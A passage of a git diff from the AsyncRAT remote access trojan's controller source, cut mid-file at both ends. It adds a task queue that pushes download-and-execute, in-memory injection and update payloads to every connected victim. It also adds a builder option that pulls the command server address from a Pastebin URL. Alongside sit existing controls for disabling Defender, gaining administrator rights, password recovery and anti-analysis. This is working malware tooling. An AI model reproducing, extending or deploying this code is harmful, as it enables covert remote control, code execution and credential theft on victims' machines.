toolStripSeparator3; private System.Windows.Forms.TabPage tabPage3; - private System.Windows.Forms.ContextMenuStrip contextMenuStrip2; + private System.Windows.Forms.ContextMenuStrip contextMenuThumbnail; private System.Windows.Forms.ToolStripMenuItem sTARTToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem sTOPToolStripMenuItem; - public System.Windows.Forms.ImageList imageList1; + public System.Windows.Forms.ImageList ThumbnailImageList; public System.Windows.Forms.ListView listView3; public System.Windows.Forms.NotifyIcon notifyIcon1; - private System.Windows.Forms.ContextMenuStrip contextMenuStrip3; + private System.Windows.Forms.ContextMenuStrip contextMenuNotification; private System.Windows.Forms.ToolStripMenuItem notificationOFFToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem toolStripMenuItem1; private System.Windows.Forms.ToolStripMenuItem dISABLESToolStripMenuItem; @@ -649,6 +754,17 @@ private System.Windows.Forms.ToolStripMenuItem gETADMINISTRATORPRIVILEGESToolStripMenuItem; private System.Windows.Forms.ColumnHeader lv_admin; private System.Windows.Forms.ToolStripMenuItem pASSWORDRECOVERYToolStripMenuItem; + private System.Windows.Forms.TabPage tabPage4; + private System.Windows.Forms.ColumnHeader columnHeader4; + private System.Windows.Forms.ColumnHeader columnHeader5; + private System.Windows.Forms.ContextMenuStrip contextMenuTasks; + private System.Windows.Forms.ToolStripMenuItem downloadAndExecuteToolStripMenuItem; + public System.Windows.Forms.ListView listView4; + private System.Windows.Forms.ToolStripMenuItem sENDFILETOMEMORYToolStripMenuItem1; + private System.Windows.Forms.ToolStripMenuItem uPDATEToolStripMenuItem1; + private System.Windows.Forms.ToolStripSeparator toolStripSeparator4; + private System.Windows.Forms.ToolStripMenuItem dELETETASKToolStripMenuItem; + private System.Windows.Forms.Timer TimerTask; } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs index 726c66f..9f7ea5e 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs @@ -15,6 +15,7 @@ using System.Net.Sockets; using AsyncRAT_Sharp.Handle_Packet; using AsyncRAT_Sharp.Helper; using System.Security.Cryptography.X509Certificates; +using System.Collections.Generic; // │ Author : NYAN CAT // │ Name : AsyncRAT // Simple RAT @@ -41,6 +42,7 @@ namespace AsyncRAT_Sharp private Listener listener; private bool trans; + private List getTasks = new List(); private void CheckFiles() { @@ -48,7 +50,7 @@ namespace AsyncRAT_Sharp { if (!File.Exists(Path.Combine(Application.StartupPath, Path.GetFileName(Application.ExecutablePath) + ".config"))) { - // File.WriteAllText(Path.Combine(Application.StartupPath, Path.GetFileName(Application.ExecutablePath) + ".config"), Properties.Resources.AsyncRAT_Sharp_exe); + File.WriteAllText(Path.Combine(Application.StartupPath, Path.GetFileName(Application.ExecutablePath) + ".config"), Properties.Resources.AsyncRAT_Sharp_exe); Process.Start(Application.ExecutablePath); Environment.Exit(0); } @@ -82,6 +84,8 @@ namespace AsyncRAT_Sharp portsFrm.ShowDialog(); Settings.Port = portsFrm.textPorts.Text; } + + Properties.Settings.Default.Reload(); #endif @@ -627,7 +631,7 @@ namespace AsyncRAT_Sharp Tick?.Dispose(); Tick = null; listView3.Items.Clear(); - imageList1.Images.Clear(); + ThumbnailImageList.Images.Clear(); foreach (ListViewItem itm in listView1.Items) { Clients client = (Clients)itm.Tag; @@ -639,14 +643,12 @@ namespace AsyncRAT_Sharp private void NotificationOFFToolStripMenuItem_Click(object sender, EventArgs e) { - if (notificationOFFToolStripMenuItem.Text.Contains("[ON]")) + if (Properties.Settings.Default.Notification == true) { - notificationOFFToolStripMenuItem.Text = "Notification is currently [OFF]"; Properties.Settings.Default.Notification = false; } else { - notificationOFFToolStripMenuItem.Text = "Notification is currently [ON]"; Properties.Settings.Default.Notification = true; } Properties.Settings.Default.Save(); @@ -662,7 +664,7 @@ namespace AsyncRAT_Sharp { if (listView1.SelectedItems.Count > 0) { - DialogResult dialogResult = MessageBox.Show(this, "Administrator privileges are required!", "AsyncRAT | Disbale Defender", MessageBoxButtons.YesNo, MessageBoxIcon.Information); + DialogResult dialogResult = MessageBox.Show(this, "Will only execute on clients with administrator privileges!", "AsyncRAT | Disbale Defender", MessageBoxButtons.YesNo, MessageBoxIcon.Information); if (dialogResult == DialogResult.Yes) { try @@ -737,5 +739,173 @@ namespace AsyncRAT_Sharp } } } + + private async void DownloadAndExecuteToolStripMenuItem_Click(object sender, EventArgs e) + { + try + { + OpenFileDialog openFileDialog = new OpenFileDialog(); + if (openFileDialog.ShowDialog() == DialogResult.OK) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "sendFile"; + msgpack.ForcePathObject("Update").AsString = "false"; + await msgpack.ForcePathObject("File").LoadFileAsBytes(openFileDialog.FileName); + msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(openFileDialog.FileName); + + ListViewItem lv = new ListViewItem(); + lv.Text = "SendFile: " + Path.GetFileName(openFileDialog.FileName); + lv.SubItems.Add("0"); + lv.ToolTipText = Guid.NewGuid().ToString(); + Program.form1.listView4.Items.Add(lv); + Program.form1.listView4.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize); + + getTasks.Add(new AsyncTask(msgpack.Encode2Bytes(), lv.ToolTipText)); + } + } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } + } + + private void SENDFILETOMEMORYToolStripMenuItem1_Click(object sender, EventArgs e) + { + try + { + FormSendFileToMemory formSend = new FormSendFileToMemory(); + formSend.ShowDialog(); + if (formSend.toolStripStatusLabel1.Text.Length > 0 && formSend.toolStripStatusLabel1.ForeColor == Color.Green) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "sendMemory"; + msgpack.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(formSend.toolStripStatusLabel1.Tag.ToString())); + if (formSend.comboBox1.SelectedIndex == 0) + { + msgpack.ForcePathObject("Inject").AsString = ""; + msgpack.ForcePathObject("Plugin").SetAsBytes(new byte[1]); + } + else + { + msgpack.ForcePathObject("Inject").AsString = formSend.comboBox2.Text; + msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.Plugin); + } + + ListViewItem lv = new ListViewItem(); + lv.Text = "SendMemory: " + Path.GetFileName(formSend.toolStripStatusLabel1.Tag.ToString()); + lv.SubItems.Add("0"); + lv.ToolTipText = Guid.NewGuid().ToString(); + Program.form1.listView4.Items.Add(lv); + Program.form1.listView4.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize); + + getTasks.Add(new AsyncTask(msgpack.Encode2Bytes(), lv.ToolTipText)); + } + formSend.Close(); + formSend.Dispose(); + } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } + } + + private async void UPDATEToolStripMenuItem1_Click(object sender, EventArgs e) + { + try + { + OpenFileDialog openFileDialog = new OpenFileDialog(); + if (openFileDialog.ShowDialog() == DialogResult.OK) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "sendFile"; + await msgpack.ForcePathObject("File").LoadFileAsBytes(openFileDialog.FileName); + msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(openFileDialog.FileName); + msgpack.ForcePathObject("Update").AsString = "true"; + + ListViewItem lv = new ListViewItem(); + lv.Text = "Update: " + Path.GetFileName(openFileDialog.FileName); + lv.SubItems.Add("0"); + lv.ToolTipText = Guid.NewGuid().ToString(); + Program.form1.listView4.Items.Add(lv); + Program.form1.listView4.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize); + + getTasks.Add(new AsyncTask(msgpack.Encode2Bytes(), lv.ToolTipText)); + } + } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } + } + + private void DELETETASKToolStripMenuItem_Click(object sender, EventArgs e) + { + if (listView4.SelectedItems.Count > 0) + { + foreach (ListViewItem item in listView4.SelectedItems) + { + item.Remove(); + } + } + } + + private async void TimerTask_Tick(object sender, EventArgs e) + { + try + { + if (getTasks.Count > 0 && Settings.Online.Count > 0) + foreach (AsyncTask asyncTask in getTasks.ToList()) + { + if (GetListview(asyncTask.id) == false) + { + getTasks.Remove(asyncTask); + Debug.WriteLine("task removed"); + return; + } + foreach (Clients client in Settings.Online) + { + if (!asyncTask.doneClient.Contains(client.ID)) + { + Debug.WriteLine("task executed"); + asyncTask.doneClient.Add(client.ID); + SetExecution(asyncTask.id); + ThreadPool.QueueUserWorkItem(client.BeginSend, asyncTask.msgPack); + } + } + await Task.Delay(15 * 1000); + } + } + catch { } + } + + private bool GetListview(string id) + { + foreach (ListViewItem item in Program.form1.listView4.Items) + { + if (item.ToolTipText == id) + { + return true; + } + } + return false; + } + + private void SetExecution(string id) + { + foreach (ListViewItem item in Program.form1.listView4.Items) + { + if (item.ToolTipText == id) + { + int count = Convert.ToInt32(item.SubItems[1].Text); + count++; + item.SubItems[1].Text = count.ToString(); + } + } + } + + } } \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.resx index ecbf38c..24788b7 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.resx +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.resx @@ -117,7 +117,7 @@ System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - + 17, 17 @@ -129,12 +129,15 @@ 490, 17 - - 1262, 17 + + 1338, 17 - + 1113, 17 + + 298, 68 + 629, 17 @@ -142,9 +145,9 @@ 871, 17 - 1479, 17 + 540, 65 - + 17, 65 @@ -604,6 +607,9 @@ gg== + + 693, 65 + 112 diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.Designer.cs index a3b15d9..54a6e4d 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.Designer.cs @@ -28,6 +28,7 @@ /// private void InitializeComponent() { + this.components = new System.ComponentModel.Container(); System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormBuilder)); this.button1 = new System.Windows.Forms.Button(); this.groupBox1 = new System.Windows.Forms.GroupBox(); @@ -42,9 +43,13 @@ this.label3 = new System.Windows.Forms.Label(); this.label4 = new System.Windows.Forms.Label(); this.groupBox3 = new System.Windows.Forms.GroupBox(); - this.chkAnti = new System.Windows.Forms.CheckBox(); this.txtMutex = new System.Windows.Forms.TextBox(); this.label5 = new System.Windows.Forms.Label(); + this.chkAnti = new System.Windows.Forms.CheckBox(); + this.txtPastebin = new System.Windows.Forms.TextBox(); + this.chkPastebin = new System.Windows.Forms.CheckBox(); + this.label6 = new System.Windows.Forms.Label(); + this.toolTip1 = new System.Windows.Forms.ToolTip(this.components); this.groupBox1.SuspendLayout(); this.groupBox2.SuspendLayout(); this.groupBox3.SuspendLayout(); @@ -52,7 +57,7 @@ // // button1 // - this.button1.Location = new System.Drawing.Point(10, 705); + this.button1.Location = new System.Drawing.Point(10, 818); this.button1.Name = "button1"; this.button1.Size = new System.Drawing.Size(446, 50); this.button1.TabIndex = 0; @@ -62,13 +67,16 @@ // // groupBox1 // + this.groupBox1.Controls.Add(this.chkPastebin); + this.groupBox1.Controls.Add(this.txtPastebin); + this.groupBox1.Controls.Add(this.label6); this.groupBox1.Controls.Add(this.textPort); this.groupBox1.Controls.Add(this.textIP); this.groupBox1.Controls.Add(this.label2); this.groupBox1.Controls.Add(this.label1); this.groupBox1.Location = new System.Drawing.Point(16, 12); this.groupBox1.Name = "groupBox1"; - this.groupBox1.Size = new System.Drawing.Size(440, 172); + this.groupBox1.Size = new System.Drawing.Size(440, 281); this.groupBox1.TabIndex = 1; this.groupBox1.TabStop = false; this.groupBox1.Text = "Connection"; @@ -82,10 +90,12 @@ // // textIP // + this.textIP.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "IP", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); this.textIP.Location = new System.Drawing.Point(106, 41); this.textIP.Name = "textIP"; this.textIP.Size = new System.Drawing.Size(271, 26); this.textIP.TabIndex = 5; + this.textIP.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.IP; // // label2 // @@ -112,7 +122,7 @@ this.groupBox2.Controls.Add(this.textFilename); this.groupBox2.Controls.Add(this.label3); this.groupBox2.Controls.Add(this.label4); - this.groupBox2.Location = new System.Drawing.Point(16, 216); + this.groupBox2.Location = new System.Drawing.Point(16, 329); this.groupBox2.Name = "groupBox2"; this.groupBox2.Size = new System.Drawing.Size(440, 211); this.groupBox2.TabIndex = 7; @@ -145,11 +155,13 @@ // // textFilename // + this.textFilename.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "Filename", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); this.textFilename.Enabled = false; this.textFilename.Location = new System.Drawing.Point(106, 92); this.textFilename.Name = "textFilename"; this.textFilename.Size = new System.Drawing.Size(271, 26); this.textFilename.TabIndex = 5; + this.textFilename.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.Filename; // // label3 // @@ -174,13 +186,31 @@ this.groupBox3.Controls.Add(this.txtMutex); this.groupBox3.Controls.Add(this.label5); this.groupBox3.Controls.Add(this.chkAnti); - this.groupBox3.Location = new System.Drawing.Point(16, 468); + this.groupBox3.Location = new System.Drawing.Point(16, 581); this.groupBox3.Name = "groupBox3"; this.groupBox3.Size = new System.Drawing.Size(440, 174); this.groupBox3.TabIndex = 9; this.groupBox3.TabStop = false; this.groupBox3.Text = "MISC"; // + // txtMutex + // + this.txtMutex.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "Mutex", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); + this.txtMutex.Location = new System.Drawing.Point(106, 99); + this.txtMutex.Name = "txtMutex"; + this.txtMutex.Size = new System.Drawing.Size(271, 26); + this.txtMutex.TabIndex = 11; + this.txtMutex.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.Mutex; + // + // label5 + // + this.label5.AutoSize = true; + this.label5.Location = new System.Drawing.Point(14, 102); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(52, 20); + this.label5.TabIndex = 10; + this.label5.Text = "Mutex"; + // // chkAnti // this.chkAnti.AutoSize = true; @@ -191,27 +221,43 @@ this.chkAnti.Text = "Anti Analysis"; this.chkAnti.UseVisualStyleBackColor = true; // - // txtMutex + // txtPastebin // - this.txtMutex.Location = new System.Drawing.Point(106, 99); - this.txtMutex.Name = "txtMutex"; - this.txtMutex.Size = new System.Drawing.Size(271, 26); - this.txtMutex.TabIndex = 11; + this.txtPastebin.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "Pastebin", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); + this.txtPastebin.Enabled = false; + this.txtPastebin.Location = new System.Drawing.Point(106, 200); + this.txtPastebin.Name = "txtPastebin"; + this.txtPastebin.Size = new System.Drawing.Size(271, 26); + this.txtPastebin.TabIndex = 8; + this.txtPastebin.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.Pastebin; + this.toolTip1.SetToolTip(this.txtPastebin, "IP:PORT .. Example 127.0.0.1:6606"); // - // label5 + // chkPastebin // - this.label5.AutoSize = true; - this.label5.Location = new System.Drawing.Point(14, 102); - this.label5.Name = "label5"; - this.label5.Size = new System.Drawing.Size(52, 20); - this.label5.TabIndex = 10; - this.label5.Text = "Mutex"; + this.chkPastebin.AutoSize = true; + this.chkPastebin.Location = new System.Drawing.Point(264, 164); + this.chkPastebin.Name = "chkPastebin"; + this.chkPastebin.Size = new System.Drawing.Size(130, 24); + this.chkPastebin.TabIndex = 9; + this.chkPastebin.Text = "Use Pastebin"; + this.toolTip1.SetToolTip(this.chkPastebin, "IP:PORT .. Example 127.0.0.1:6606"); + this.chkPastebin.UseVisualStyleBackColor = true; + this.chkPastebin.CheckedChanged += new System.EventHandler(this.CheckBox2_CheckedChanged); + // + // label6 + // + this.label6.AutoSize = true; + this.label6.Location = new System.Drawing.Point(14, 203); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(71, 20); + this.label6.TabIndex = 7; + this.label6.Text = "Pastebin"; // // FormBuilder // this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(470, 788); + this.ClientSize = new System.Drawing.Size(470, 893); this.Controls.Add(this.groupBox3); this.Controls.Add(this.groupBox2); this.Controls.Add(this.groupBox1); @@ -249,5 +295,9 @@ private System.Windows.Forms.CheckBox chkAnti; private System.Windows.Forms.TextBox txtMutex; private System.Windows.Forms.Label label5; + private System.Windows.Forms.TextBox txtPastebin; + private System.Windows.Forms.CheckBox chkPastebin; + private System.Windows.Forms.Label label6; + private System.Windows.Forms.ToolTip toolTip1; } } \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.cs index d71dceb..66ddb85 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.cs @@ -27,7 +27,9 @@ namespace AsyncRAT_Sharp.Forms if (!textFilename.Text.EndsWith("exe")) textFilename.Text += ".exe"; } - if (string.IsNullOrWhiteSpace(txtMutex.Text)) txtMutex.Text = Guid.NewGuid().ToString().Substring(10); + if (string.IsNullOrWhiteSpace(txtMutex.Text)) txtMutex.Text = Guid.NewGuid().ToString().Substring(20); + + if (chkPastebin.Checked && string.IsNullOrWhiteSpace(txtPastebin.Text)) return; try { @@ -50,6 +52,8 @@ namespace AsyncRAT_Sharp.Forms { r.AsmDef.Write(saveFileDialog1.FileName); MessageBox.Show("Done!", "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Information); + Properties.Settings.Default.Save(); + r.AsmDef.Dispose(); this.Close(); } } @@ -81,16 +85,10 @@ namespace AsyncRAT_Sharp.Forms { comboBoxFolder.SelectedIndex = 0; textPort.Text = Settings.Port; - txtMutex.Text = Guid.NewGuid().ToString().Substring(10); - if (Properties.Settings.Default.DNS.Length > 0) - textIP.Text = Properties.Settings.Default.DNS; - else + if (Properties.Settings.Default.IP.Length == 0) textIP.Text = "127.0.0.1,127.0.0.1"; - if (Properties.Settings.Default.Filename.Length > 0) - textFilename.Text = Properties.Settings.Default.Filename; - - if (Properties.Settings.Default.Mutex.Length > 0) - txtMutex.Text = Properties.Settings.Default.Mutex; + if (Properties.Settings.Default.Pastebin.Length == 0) + txtPastebin.Text = "https://pastebin.com/raw/s14cUU5G"; } private void WriteSettings(AssemblyDefinition asmDef) @@ -149,12 +147,35 @@ namespace AsyncRAT_Sharp.Forms if (operand == "%Serversignature%") methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(signature)); + + if (operand == "%Pastebin%") + if (chkPastebin.Checked) + methodDef.Body.Instructions[i].Operand = aes.Encrypt(txtPastebin.Text); + else + methodDef.Body.Instructions[i].Operand = aes.Encrypt("null"); } } } } } } + + } + + private void CheckBox2_CheckedChanged(object sender, EventArgs e) + { + if (chkPastebin.Checked) + { + txtPastebin.Enabled = true; + textIP.Enabled = false; + textPort.Enabled = false; + } + else + { + txtPastebin.Enabled = false; + textIP.Enabled = true; + textPort.Enabled = true; + } } } } \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.resx index f4aca47..408c96f 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.resx +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.resx @@ -117,6 +117,9 @@ System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + 17, 17 + diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.Designer.cs index ebd96a4..77838ec 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.Designer.cs @@ -103,6 +103,6 @@ public System.Windows.Forms.Label labelsize; private System.Windows.Forms.Label label3; public System.Windows.Forms.Label labelfile; - private System.Windows.Forms.Label label1; + public System.Windows.Forms.Label label1; } } \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.cs index 758e9d8..67ba54f 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.cs @@ -26,28 +26,46 @@ namespace AsyncRAT_Sharp.Forms public Form1 F { get; set; } internal Clients C { get; set; } public long dSize = 0; - public bool isDownload = false; private long BytesSent = 0; - private Timer Tick = null; + public string fullFileName; + public string clientFullFileName; + private bool isUpload = false; private async void timer1_Tick(object sender, EventArgs e) { - labelsize.Text = $"{Methods.BytesToString(dSize)} \\ {Methods.BytesToString(C.BytesRecevied)}"; - if (C.BytesRecevied >= dSize) + if (!isUpload) { - labelsize.Text = "Downloaded"; - labelsize.ForeColor = Color.Green; - timer1.Stop(); - await Task.Delay(1500); - this.Close(); + labelsize.Text = $"{Methods.BytesToString(dSize)} \\ {Methods.BytesToString(C.BytesRecevied)}"; + if (C.BytesRecevied >= dSize) + { + labelsize.Text = "Downloaded"; + labelsize.ForeColor = Color.Green; + timer1.Stop(); + await Task.Delay(1500); + this.Close(); + } + } + else + { + labelsize.Text = $"{Methods.BytesToString(dSize)} \\ {Methods.BytesToString(BytesSent)}"; + if (BytesSent >= dSize) + { + labelsize.Text = "Uploaded"; + labelsize.ForeColor = Color.Green; + timer1.Stop(); + await Task.Delay(1500); + this.Close(); + } } } private void SocketDownload_FormClosed(object sender, FormClosedEventArgs e) { - if (isDownload) + try { - if (C != null) C.Disconnected(); + C?.Disconnected(); + timer1?.Dispose(); } + catch { } } public void Send(object obj) @@ -56,10 +74,10 @@ namespace AsyncRAT_Sharp.Forms { try { + isUpload = true; byte[] msg = (byte[])obj; byte[] buffersize = BitConverter.GetBytes(msg.Length); C.ClientSocket.Poll(-1, SelectMode.SelectWrite); - Tick = new Timer(new TimerCallback(Timer3), null, 0, 1000); C.ClientSslStream.Write(buffersize); C.ClientSslStream.Flush(); int chunkSize = 50 * 1024; @@ -78,32 +96,14 @@ namespace AsyncRAT_Sharp.Forms } while (bytesToRead > 0); binaryReader.Close(); + C?.Disconnected(); } } catch { - return; + C?.Disconnected(); } } } - - private void Timer3(object obj) - { - if (Program.form1.InvokeRequired) - { - Program.form1.BeginInvoke((MethodInvoker)(async () => - { - labelsize.Text = $"{Methods.BytesToString(dSize)} \\ {Methods.BytesToString(BytesSent)}"; - if (BytesSent > dSize) - { - labelsize.Text = "Downloaded"; - labelsize.ForeColor = Color.Green; - timer1.Stop(); - await Task.Delay(1500); - this.Close(); - } - })); - } - } } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormFileManager.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormFileManager.cs index 805b844..4bfdbdf 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormFileManager.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormFileManager.cs @@ -93,7 +93,6 @@ namespace AsyncRAT_Sharp.Forms Text = "socketDownload:" + C.ID, F = F }; - SD.isDownload = true; SD.Show(); } })); @@ -106,7 +105,7 @@ namespace AsyncRAT_Sharp.Forms } } - private async void uPLOADToolStripMenuItem_Click(object sender, EventArgs e) + private void uPLOADToolStripMenuItem_Click(object sender, EventArgs e) { try { @@ -114,27 +113,29 @@ namespace AsyncRAT_Sharp.Forms O.Multiselect = true; if (O.ShowDialog() == DialogResult.OK) { - foreach(string ofile in O.FileNames) + foreach (string ofile in O.FileNames) { FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + ""]; if (SD == null) { SD = new FormDownloadFile { - Name = "socketUpload:" + "", + Name = "socketUpload:" + Guid.NewGuid().ToString(), Text = "socketUpload:" + C.ID, F = Program.form1, C = C }; SD.dSize = new FileInfo(ofile).Length; SD.labelfile.Text = Path.GetFileName(ofile); + SD.fullFileName = ofile; + SD.label1.Text = "Upload:"; + SD.clientFullFileName = toolStripStatusLabel1.Text + "\\" + Path.GetFileName(ofile); MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "fileManager"; - msgpack.ForcePathObject("Command").AsString = "uploadFile"; - await msgpack.ForcePathObject("File").LoadFileAsBytes(ofile); - msgpack.ForcePathObject("Name").AsString = toolStripStatusLabel1.Text + "\\" + Path.GetFileName(ofile); + msgpack.ForcePathObject("Command").AsString = "reqUploadFile"; + msgpack.ForcePathObject("ID").AsString = SD.Name; SD.Show(); - ThreadPool.QueueUserWorkItem(SD.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes()); } } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleFileManager.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleFileManager.cs index c61b3c7..68a16f5 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleFileManager.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleFileManager.cs @@ -8,6 +8,7 @@ using System.Windows.Forms; using System.Threading; using System.Threading.Tasks; using AsyncRAT_Sharp.Helper; +using System.Diagnostics; namespace AsyncRAT_Sharp.Handle_Packet { @@ -108,8 +109,31 @@ namespace AsyncRAT_Sharp.Handle_Packet } break; } - } + case "reqUploadFile": + { + if (Program.form1.InvokeRequired) + { + Program.form1.BeginInvoke((MethodInvoker)(async () => + { + FormDownloadFile FD = (FormDownloadFile)Application.OpenForms[unpack_msgpack.ForcePathObject("ID").AsString]; + if (FD != null) + { + FD.C = client; + FD.timer1.Start(); + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "fileManager"; + msgpack.ForcePathObject("Command").AsString = "uploadFile"; + await msgpack.ForcePathObject("File").LoadFileAsBytes(FD.fullFileName); + msgpack.ForcePathObject("Name").AsString = FD.clientFullFileName; + ThreadPool.QueueUserWorkItem(FD.Send, msgpack.Encode2Bytes()); + } + })); + } + break; + } + + } } catch { } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleThumbnails.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleThumbnails.cs index bb0cbd2..a65b154 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleThumbnails.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleThumbnails.cs @@ -23,7 +23,7 @@ namespace AsyncRAT_Sharp.Handle_Packet client.LV2.ToolTipText = client.ID; using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes())) { - Program.form1.imageList1.Images.Add(client.ID, Bitmap.FromStream(memoryStream)); + Program.form1.ThumbnailImageList.Images.Add(client.ID, Bitmap.FromStream(memoryStream)); client.LV2.ImageKey = client.ID; Program.form1.listView3.BeginUpdate(); Program.form1.listView3.Items.Insert(0, client.LV2); @@ -35,8 +35,8 @@ namespace AsyncRAT_Sharp.Handle_Packet using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes())) { Program.form1.listView3.BeginUpdate(); - Program.form1.imageList1.Images.RemoveByKey(client.ID); - Program.form1.imageList1.Images.Add(client.ID, Bitmap.FromStream(memoryStream)); + Program.form1.ThumbnailImageList.Images.RemoveByKey(client.ID); + Program.form1.ThumbnailImageList.Images.Add(client.ID, Bitmap.FromStream(memoryStream)); Program.form1.listView3.EndUpdate(); } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Helper/AsyncTask.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Helper/AsyncTask.cs new file mode 100644 index 0000000..d4da210 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Helper/AsyncTask.cs @@ -0,0 +1,28 @@ +using AsyncRAT_Sharp.MessagePack; +using AsyncRAT_Sharp.Sockets; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using System.Threading; +using System.Diagnostics; + +namespace AsyncRAT_Sharp.Helper +{ + public class AsyncTask + { + public byte[] msgPack; + public string id; + public List doneClient; + + public AsyncTask(byte[] _msgPack, string _id) + { + msgPack = _msgPack; + id = _id; + doneClient = new List(); + } + } + +} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.Designer.cs index 29a1fde..3bba787 